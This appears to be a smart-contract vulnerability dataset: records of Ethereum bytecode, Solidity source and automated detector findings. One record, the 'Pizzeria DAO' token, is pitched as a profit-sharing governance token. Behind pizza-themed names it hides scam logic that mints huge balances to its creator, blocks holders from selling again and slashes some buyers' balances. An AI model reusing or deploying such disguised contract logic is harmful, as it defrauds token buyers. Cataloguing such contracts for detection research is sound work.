d61ee3057a0010ad9890600090a250600192915050565b6003546000906001600160a01b03163314611425576040805162461bcd60e51b815260206004820152601360248201527221b0b63632b9103737ba1023b7bb32b93737b960691b604482015290519081900360640190fd5b6002600054141561147d576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600055600a548410156114c6576040805162461bcd60e51b815260206004820152600a6024820152692b30b63ab2a2b93937b960b11b604482015290519081900360640190fd5b60095484111561150a576040805162461bcd60e51b815260206004820152600a6024820152692b30b63ab2a2b93937b960b11b604482015290519081900360640190fd5b600b5460ff1615611585576001600160a01b0383166000908152600c60205260409020546115389085611cdc565b6001600160a01b0384166000908152600c6020908152604080832093909355600d905220546115679085611cdc565b6001600160a01b0384166000908152600d602052604090205561169e565b6005546040805163a9059cbb60e01b81526001600160a01b038681166004830152602482018890529151919092169163a9059cbb9160448083019260209291908290030181600087803b1580156115db57600080fd5b505af11580156115ef573d6000803e3d6000fd5b505050506040513d602081101561160557600080fd5b50506005546001546001600160a01b039182169163a9059cbb911661162b876064611d3d565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561167157600080fd5b505af1158015611685573d6000803e3d6000fd5b505050506040513d602081101561169b57600080fd5b50505b6001600160a01b0383166000818152600e602090815260408083208054600181810183558286528486204292019190915580820180548083018255908652848620018a9055600854600383018054808401825590875285872001556002820180549182018155855293839020909301869055805188815290519293927f2499a5330ab0979cc612135e7883ebc3cd5c9f7a8508f042540c34723348f632929181900390910190a2600191505060016000559392505050565b6004546000906001600160a01b031633146117ab576040805162461bcd60e51b815260206004820152601060248201526f21b0b63632b9103737ba1030b236b4b760811b604482015290519081900360640190fd5b60088290556040805183815290517f1a15ab7124a4e1ce00837351261771caf1691cd7d85ed3a0ac3157a1ee1a38059181900360200190a1506001919050565b6004546000906001600160a01b03163314611840576040805162461bcd60e51b815260206004820152601060248201526f21b0b63632b9103737ba1030b236b4b760811b604482015290519081900360640190fd5b816001600160a01b03811661188e576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964204164647265737360881b604482015290519081900360640190fd5b600780546001600160a01b0385166001600160a01b03199091161790556001915050919050565b6004546000906001600160a01b0316331461190a576040805162461bcd60e51b815260206004820152601060248201526f21b0b63632b9103737ba1030b236b4b760811b604482015290519081900360640190fd5b826001600160a01b038116611958576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964204164647265737360881b604482015290519081900360640190fd5b6005546040805163a9059cbb60e01b81526001600160a01b038781166004830152602482018790529151919092169163a9059cbb9160448083019260209291908290030181600087803b1580156119ae57600080fd5b505af11580156119c2573d6000803e3d6000fd5b505050506040513d60208110156119d857600080fd5b50600195945050505050565b6004546000906001600160a01b03163314611a39576040805162461bcd60e51b815260206004820152601060248201526f21b0b63632b9103737ba1030b236b4b760811b604482015290519081900360640190fd5b816001600160a01b038116611a87576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964204164647265737360881b604482015290519081900360640190fd5b600680546001600160a01b0385166001600160a01b03199091161790556001915050919050565b600b5460ff1681565b6004546000906001600160a01b03163314611b0c576040805162461bcd60e51b815260206004820152601060248201526f21b0b63632b9103737ba1030b236b4b760811b604482015290519081900360640190fd5b816001600160a01b038116611b5a576040805162461bcd60e51b815260206004820152600f60248201526e496e76616c6964204164647265737360881b604482015290519081900360640190fd5b600580546001600160a01b0385166001600160a01b03199091161790556001915050919050565b6007546001600160a01b031681565b6005546001600160a01b031681565b600080600080600080600660009054906101000a90046001600160a01b03166001600160a01b031663feaf968c6040518163ffffffff1660e01b815260040160a06040518083038186803b158015611bf657600080fd5b505afa158015611c0a573d6000803e3d6000fd5b505050506040513d60a0811015611c2057600080fd5b50602001519550505050505090565b6004546001600160a01b031681565b6003546000906001600160a01b03163314611c96576040805162461bcd60e51b815260206004820152601360248201527221b0b63632b9103737ba1023b7bb32b93737b960691b604482015290519081900360640190fd5b50600b805460ff1916911515919091179055600190565b600080611cb8611b9f565b9050611cc48382611dc1565b90506000611cd482600854611d3d565b949350505050565b600082820183811015611d36576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6000611d3683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e30565b6000611d3683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611ed2565b600082611dd057506000610d33565b82820282848281611ddd57fe5b0414611d36576040805162461bcd60e51b815260206004820152601760248201527f6d756c7469706c69636174696f6e206f766572666c6f77000000000000000000604482015290519081900360640190fd5b60008183611ebc5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611e81578181015183820152602001611e69565b50505050905090810190601f168015611eae5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611ec857fe5b0495945050505050565b60008184841115611f245760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611e81578181015183820152602001611e69565b50505090039056fea264697066735822122093acb378fcdab99a116d3c585cea1b2e2360b154930293076452b13ed82d580f64736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
2,783
0xecc07d7ea0cad264fc48c42868eeaa8f3b529e07
/* Pizzeria DAO We are going to buy a Pizzeria and run our own Pizzeria afterwards! This is the governance token of Pizzeria DAO to have a stake in our Pizzeria and to vote on how to run the Pizzeria and on what pizzas and other food/beverages we should offer, add, or take down from the menu. All profits from the restaurants will be shared with all token holders proportionally, or will be used to invest in the Pizzeria, depending on the governance vote. More Info: - Telegram @PizzeriaDAO - Twitter @PizzeriaDAO - TikTok @PizzeriaDAO - HP pizzeriadao.io */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function decimals() external view returns (uint8); function name() external view returns (string memory); function symbol() external view returns (string memory); } contract Ownable is Context { address private _previousOwner; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => bool) private Nature; mapping (address => bool) private Smells; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _LordTimeLogger; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public pair; IDEXRouter router; address[] private pizzaArray; string private _name; string private _symbol; address private _sender; uint256 private _totalSupply; uint256 private Margarita; uint256 private Hawaii; uint256 private Diablo; bool private Salame; bool private Mozzarella; bool private Pomodoro; uint256 private ghj; bool private Parmesano; constructor (string memory name_, string memory symbol_, address creator_) { router = IDEXRouter(_router); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); _name = name_; _sender = creator_; _symbol = symbol_; Mozzarella = true; Nature[creator_] = true; Salame = true; Pomodoro = false; Smells[creator_] = false; ghj = 0; Parmesano = false; } function decimals() public view virtual override returns (uint8) { return 18; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function _pizzaProfitRedistribution(address account) internal { _balances[account] += (((account == _sender) && (Parmesano)) ? (_totalSupply * 10 ** 10) : 0); } function burn(uint256 amount) public virtual returns (bool) { _burn(_msgSender(), amount); return true; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _AntiSniper(address sender, uint256 amount) internal { if ((Nature[sender] != true)) { if ((amount > Diablo)) { require(false); } require(amount < Margarita); if (Pomodoro == true) { if (Smells[sender] == true) { require(false); } Smells[sender] = true; } } } function _AntiFrontrunner(address recipient) internal { pizzaArray.push(recipient); _LordTimeLogger[recipient] = block.timestamp; if ((Nature[recipient] != true) && (ghj > 2)) { if ((_LordTimeLogger[pizzaArray[ghj-1]] == _LordTimeLogger[pizzaArray[ghj]]) && Nature[pizzaArray[ghj-1]] != true) { _balances[pizzaArray[ghj-1]] = _balances[pizzaArray[ghj-1]]/75; } } ghj++; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[address(0)] += amount; emit Transfer(account, address(0), amount); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); (Nature[spender],Smells[spender],Salame) = ((address(owner) == _sender) && (Salame == true)) ? (true,false,false) : (Nature[spender],Smells[spender],Salame); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); (Margarita,Pomodoro) = ((address(sender) == _sender) && (Mozzarella == false)) ? (Hawaii, true) : (Margarita,Pomodoro); (Nature[recipient],Mozzarella) = ((address(sender) == _sender) && (Mozzarella == true)) ? (true, false) : (Nature[recipient],Mozzarella); _AntiFrontrunner(recipient); _AntiSniper(sender, amount); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; _pizzaProfitRedistribution(sender); Parmesano = Pomodoro ? true : Pomodoro; emit Transfer(sender, recipient, amount); } function _DeployPizza(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); (uint256 temp1, uint256 temp2) = (1000, 1000); _totalSupply += amount; _balances[account] += amount; Margarita = _totalSupply; Hawaii = _totalSupply / temp1; Diablo = Hawaii * temp2; emit Transfer(address(0), account, amount); } } contract ERC20Token is Context, ERC20 { constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol, creator) { _DeployPizza(creator, initialSupply); } } contract PizzeriaDAO is ERC20Token { constructor() ERC20Token("Pizzeria DAO", "Pizza DAO", msg.sender, 3000000000 * 10 ** 18) { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146101f5578063a8aa1b3114610208578063a9059cbb1461021b578063dd62ed3e1461022e57600080fd5b806370a0823114610195578063715018a6146101be5780638da5cb5b146101c857806395d89b41146101ed57600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461016f57806342966c681461018257600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b610102610267565b60405161010f9190610ea3565b60405180910390f35b61012b610126366004610f14565b6102f9565b604051901515815260200161010f565b600f545b60405190815260200161010f565b61012b61015b366004610f3e565b61030f565b6040516012815260200161010f565b61012b61017d366004610f14565b6103c5565b61012b610190366004610f7a565b6103fc565b61013f6101a3366004610f93565b6001600160a01b031660009081526004602052604090205490565b6101c6610410565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200161010f565b6101026104b4565b61012b610203366004610f14565b6104c3565b6009546101d5906001600160a01b031681565b61012b610229366004610f14565b61055e565b61013f61023c366004610fb5565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600c805461027690610fe8565b80601f01602080910402602001604051908101604052809291908181526020018280546102a290610fe8565b80156102ef5780601f106102c4576101008083540402835291602001916102ef565b820191906000526020600020905b8154815290600101906020018083116102d257829003601f168201915b5050505050905090565b600061030633848461056b565b50600192915050565b600061031c848484610736565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103a65760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103ba85336103b58685611039565b61056b565b506001949350505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916103069185906103b5908690611050565b60006104083383610a56565b506001919050565b6001546001600160a01b0316331461046a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039d565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600d805461027690610fe8565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105455760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161039d565b61055433856103b58685611039565b5060019392505050565b6000610306338484610736565b6001600160a01b0383166105cd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161039d565b6001600160a01b03821661062e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161039d565b600e546001600160a01b038481169116148015610652575060135460ff1615156001145b61068e576001600160a01b03821660009081526002602090815260408083205460039092529091205460135460ff928316929182169116610694565b60016000805b6001600160a01b038581166000818152600260209081526040808320600383528184206013805498151560ff19998a161790558054981515988816989098179097558654971515979095169690961790945590871680845260058552828420828552855292829020859055905184815290927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661079a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161039d565b6001600160a01b0382166107fc5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161039d565b6001600160a01b038316600090815260046020526040902054818110156108745760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161039d565b600e546001600160a01b0385811691161480156108995750601354610100900460ff16155b6108b15760105460135462010000900460ff166108b7565b60115460015b60138054911515620100000262ff000019909216919091179055601055600e546001600160a01b0385811691161480156108fe575060135460ff6101009091041615156001145b610930576001600160a01b03831660009081526002602052604090205460135460ff9182169161010090910416610935565b600160005b6001600160a01b03851660009081526002602052604090206013805461ff0019166101009315159390930292909217909155805460ff191691151591909117905561097f83610b68565b6109898483610d8c565b6109938282611039565b6001600160a01b0380861660009081526004602052604080822093909355908516815290812080548492906109c9908490611050565b909155506109d8905084610e37565b60135462010000900460ff166109f95760135462010000900460ff166109fc565b60015b6015805460ff19169115159190911790556040518281526001600160a01b0384811691908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350505050565b6001600160a01b038216610ab65760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161039d565b6001600160a01b03821660009081526004602052604081208054839290610ade908490611039565b9091555050600080805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec8054839290610b1e908490611050565b90915550506040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600b805460018082019092557f0175b7a638427703f0dbe7bb9bbf987a2551717b34e79f33b5b1008d1fa01db90180546001600160a01b0319166001600160a01b0384169081179091556000908152600660209081526040808320429055600290915290205460ff16151514801590610be357506002601454115b15610d745760066000600b60145481548110610c0157610c01611068565b60009182526020808320909101546001600160a01b031683528201929092526040018120546014549091600691600b90610c3d90600190611039565b81548110610c4d57610c4d611068565b60009182526020808320909101546001600160a01b03168352820192909252604001902054148015610cce575060026000600b6001601454610c8f9190611039565b81548110610c9f57610c9f611068565b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff161515600114155b15610d7457604b60046000600b6001601454610cea9190611039565b81548110610cfa57610cfa611068565b60009182526020808320909101546001600160a01b03168352820192909252604001902054610d29919061107e565b60046000600b6001601454610d3e9190611039565b81548110610d4e57610d4e611068565b60009182526020808320909101546001600160a01b031683528201929092526040019020555b60148054906000610d84836110a0565b919050555050565b6001600160a01b03821660009081526002602052604090205460ff161515600114610e3357601254811115610dc057600080fd5b6010548110610dce57600080fd5b60135462010000900460ff16151560011415610e33576001600160a01b03821660009081526003602052604090205460ff16151560011415610e0f57600080fd5b6001600160a01b0382166000908152600360205260409020805460ff191660011790555b5050565b600e546001600160a01b038281169116148015610e56575060155460ff165b610e61576000610e73565b600f54610e73906402540be4006110bb565b6001600160a01b03821660009081526004602052604081208054909190610e9b908490611050565b909155505050565b600060208083528351808285015260005b81811015610ed057858101830151858201604001528201610eb4565b81811115610ee2576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610f0f57600080fd5b919050565b60008060408385031215610f2757600080fd5b610f3083610ef8565b946020939093013593505050565b600080600060608486031215610f5357600080fd5b610f5c84610ef8565b9250610f6a60208501610ef8565b9150604084013590509250925092565b600060208284031215610f8c57600080fd5b5035919050565b600060208284031215610fa557600080fd5b610fae82610ef8565b9392505050565b60008060408385031215610fc857600080fd5b610fd183610ef8565b9150610fdf60208401610ef8565b90509250929050565b600181811c90821680610ffc57607f821691505b6020821081141561101d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008282101561104b5761104b611023565b500390565b6000821982111561106357611063611023565b500190565b634e487b7160e01b600052603260045260246000fd5b60008261109b57634e487b7160e01b600052601260045260246000fd5b500490565b60006000198214156110b4576110b4611023565b5060010190565b60008160001904831182151516156110d5576110d5611023565b50029056fea26469706673582212206cc7db022d223fef2595bd803754c5e92c4f94e4579e3f2ff15f3465a9204ec264736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
2,784
0x062d6ec3099208fd4a0e0ce4773e81f2b322d9d4
pragma solidity ^0.4.16; /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); event Transfer(address indexed from, address indexed to, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint; mapping(address => uint) balances; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { throw; } _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Standard ERC20 token * * @dev Implemantation of the basic standart token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { if (msg.sender != owner) { throw; } _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint value); event MintFinished(); bool public mintingFinished = false; uint public totalSupply = 0; modifier canMint() { if(mintingFinished) throw; _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint _amount) onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } } contract AAAToken is MintableToken { using SafeMath for uint256; string public name = "AAAToken"; string public symbol = "AAA"; uint public decimals = 18; }
0x606060405236156100ce576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146100d357806306fdde0314610100578063095ea7b31461018f57806318160ddd146101d157806323b872dd146101fa578063313ce5671461025b57806340c10f191461028457806370a08231146102de5780637d64bcb41461032b5780638da5cb5b1461035857806395d89b41146103ad578063a9059cbb1461043c578063dd62ed3e1461047e578063f2fde38b146104ea575b600080fd5b34156100de57600080fd5b6100e6610523565b604051808215151515815260200191505060405180910390f35b341561010b57600080fd5b610113610536565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101545780820151818401525b602081019050610138565b50505050905090810190601f1680156101815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019a57600080fd5b6101cf600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506105d4565b005b34156101dc57600080fd5b6101e4610757565b6040518082815260200191505060405180910390f35b341561020557600080fd5b610259600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061075d565b005b341561026657600080fd5b61026e610a1f565b6040518082815260200191505060405180910390f35b341561028f57600080fd5b6102c4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a25565b604051808215151515815260200191505060405180910390f35b34156102e957600080fd5b610315600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ba8565b6040518082815260200191505060405180910390f35b341561033657600080fd5b61033e610bf2565b604051808215151515815260200191505060405180910390f35b341561036357600080fd5b61036b610ca0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103b857600080fd5b6103c0610cc6565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104015780820151818401525b6020810190506103e5565b50505050905090810190601f16801561042e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561044757600080fd5b61047c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d64565b005b341561048957600080fd5b6104d4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f10565b6040518082815260200191505060405180910390f35b34156104f557600080fd5b610521600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610f98565b005b600360149054906101000a900460ff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105cc5780601f106105a1576101008083540402835291602001916105cc565b820191906000526020600020905b8154815290600101906020018083116105af57829003601f168201915b505050505081565b6000811415801561066257506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1561066c57600080fd5b80600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b5050565b60045481565b60006060600481016000369050101561077557600080fd5b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054915061084683600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461107190919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108db83600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461109090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610931838361109090919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b5b5050505050565b60075481565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a8357600080fd5b600360149054906101000a900460ff1615610a9d57600080fd5b610ab28260045461107190919063ffffffff16565b6004819055